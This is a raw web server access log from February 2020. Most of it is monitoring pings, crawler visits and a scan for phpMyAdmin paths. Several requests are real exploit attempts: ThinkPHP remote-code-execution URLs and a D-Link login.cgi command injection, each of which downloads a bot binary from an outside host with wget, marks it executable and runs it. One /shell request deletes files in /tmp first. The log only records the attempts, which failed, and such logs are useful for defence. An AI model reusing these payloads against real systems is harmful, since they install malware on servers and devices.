122.14.213.79 - - [13/Feb/2020:10:43:21 +0100] "GET /mysqladmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:21 +0100] "GET /mysql-admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:21 +0100] "GET /mysql_admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:22 +0100] "GET /phpadmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:22 +0100] "GET /phpAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:24 +0100] "GET /phpmyadmin0/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
212.91.246.72 - - [13/Feb/2020:10:43:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.14.213.79 - - [13/Feb/2020:10:43:26 +0100] "GET /phpmyadmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:28 +0100] "GET /phpmyadmin2/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:28 +0100] "GET /phpMyAdmin-4.4.0/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:32 +0100] "GET /phpMyAdmin4.8.0/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:33 +0100] "GET /phpMyAdmin4.8.1/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:33 +0100] "GET /phpMyAdmin4.8.2/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:34 +0100] "GET /phpMyAdmin4.8.3/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:34 +0100] "GET /phpMyAdmin4.8.4/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:34 +0100] "GET /phpMyAdmin4.8.5/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:35 +0100] "GET /myadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:35 +0100] "GET /myadmin2/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:35 +0100] "GET /xampp/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:36 +0100] "GET /phpMyadmin_bak/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:36 +0100] "GET /www/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:38 +0100] "GET /tools/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:38 +0100] "GET /phpmyadmin-old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:39 +0100] "GET /phpMyAdminold/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:40 +0100] "GET /phpMyAdmin.old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:40 +0100] "GET /pma-old/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:40 +0100] "GET /claroline/phpMyAdmin/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:41 +0100] "GET /typo3/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:42 +0100] "GET /phpma/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:42 +0100] "GET /phpmyadmin/phpmyadmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:42 +0100] "GET /phpMyAdmin/phpMyAdmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:42 +0100] "GET /phpMyAbmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:43 +0100] "GET /phpMyAdmin__/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:43 +0100] "GET /phpMyAdmin+++---/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:44 +0100] "GET /v/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:44 +0100] "GET /phpmyadm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:44 +0100] "GET /phpMyAdm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:45 +0100] "GET /shaAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:45 +0100] "GET /phpMyadmi/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:47 +0100] "GET /phpMyAdmion/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:47 +0100] "GET /s/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:48 +0100] "GET /MyAdmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:52 +0100] "GET /phpMyAdmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:52 +0100] "GET /phpMyAdmin123/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:52 +0100] "GET /pwd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:52 +0100] "GET /phpMyAdmina/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:54 +0100] "GET /phpMydmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:55 +0100] "GET /phpMyAdmins/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:55 +0100] "GET /phpMyAdmin._/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:56 +0100] "GET /phpMyAdmin._2/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:56 +0100] "GET /phpmyadmin2222/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:57 +0100] "GET /phpMyAdmin333/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:57 +0100] "GET /phpmyadmin3333/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:59 +0100] "GET /php2MyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:59 +0100] "GET /phpiMyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:59 +0100] "GET /phpNyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:44:04 +0100] "GET /1/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:44:08 +0100] "GET /download/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:44:08 +0100] "GET /phpMyAdmin_111/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:44:09 +0100] "GET /phpmadmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:44:09 +0100] "GET /321/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:44:10 +0100] "GET /123131/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:44:10 +0100] "GET /phpMyAdminn/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:44:10 +0100] "GET /phpMyAdminhf/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:44:11 +0100] "GET /sbb/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:44:11 +0100] "GET /WWW/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:44:12 +0100] "GET /phpMyAdmln/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:44:12 +0100] "GET /phpMyAdmin_ai/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:44:12 +0100] "GET /__phpMyAdmin/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:44:12 +0100] "GET /program/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:44:13 +0100] "GET /shopdb/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:44:13 +0100] "GET /phppma/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:44:15 +0100] "GET /phpmy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:44:21 +0100] "GET /mysql/admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
212.91.246.72 - - [13/Feb/2020:10:44:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
74.67.116.26 - - [13/Feb/2020:10:44:43 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
122.14.213.79 - - [13/Feb/2020:10:44:52 +0100] "GET /mysql/mysqlmanager/index.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:44:52 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1" 404 364 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:44:52 +0100] "GET /sqladmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:44:53 +0100] "GET /sql/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:44:53 +0100] "GET /SQL/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:44:55 +0100] "GET /websql/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:44:56 +0100] "GET /MySQLAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:44:56 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
212.91.246.72 - - [13/Feb/2020:10:45:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:10:46:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:10:47:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:10:48:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
100.38.236.91 - - [13/Feb/2020:10:48:59 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
42.116.64.61 - - [13/Feb/2020:10:49:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:10:49:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.155.248.3 - - [13/Feb/2020:10:50:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:10:50:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.46.24.251 - - [13/Feb/2020:10:50:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:10:51:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:10:52:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:10:53:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:10:54:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:10:55:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:10:56:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.48 - - [13/Feb/2020:10:56:46 +0100] "GET /robots.txt HTTP/1.1" 404 318 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.44 - - [13/Feb/2020:10:56:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [13/Feb/2020:10:57:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.189.208.61 - - [13/Feb/2020:10:58:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [13/Feb/2020:10:58:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:10:59:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:11:00:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:11:01:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:11:02:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:11:03:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:11:04:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:11:05:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.239.19.112 - - [13/Feb/2020:11:05:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:11:06:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:11:07:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
62.46.177.79 - - [13/Feb/2020:11:07:57 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:11:08:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:11:09:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:11:10:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.133.20.85 - - [13/Feb/2020:11:11:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:11:11:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.230.2.59 - - [13/Feb/2020:11:11:44 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [13/Feb/2020:11:12:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:11:13:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.80.223 - - [13/Feb/2020:11:13:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
122.169.119.170 - - [13/Feb/2020:11:14:04 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [13/Feb/2020:11:14:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.173.230 - - [13/Feb/2020:11:14:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
147.30.44.245 - - [13/Feb/2020:11:15:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:11:15:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:11:16:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.70.27 - - [13/Feb/2020:11:16:45 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
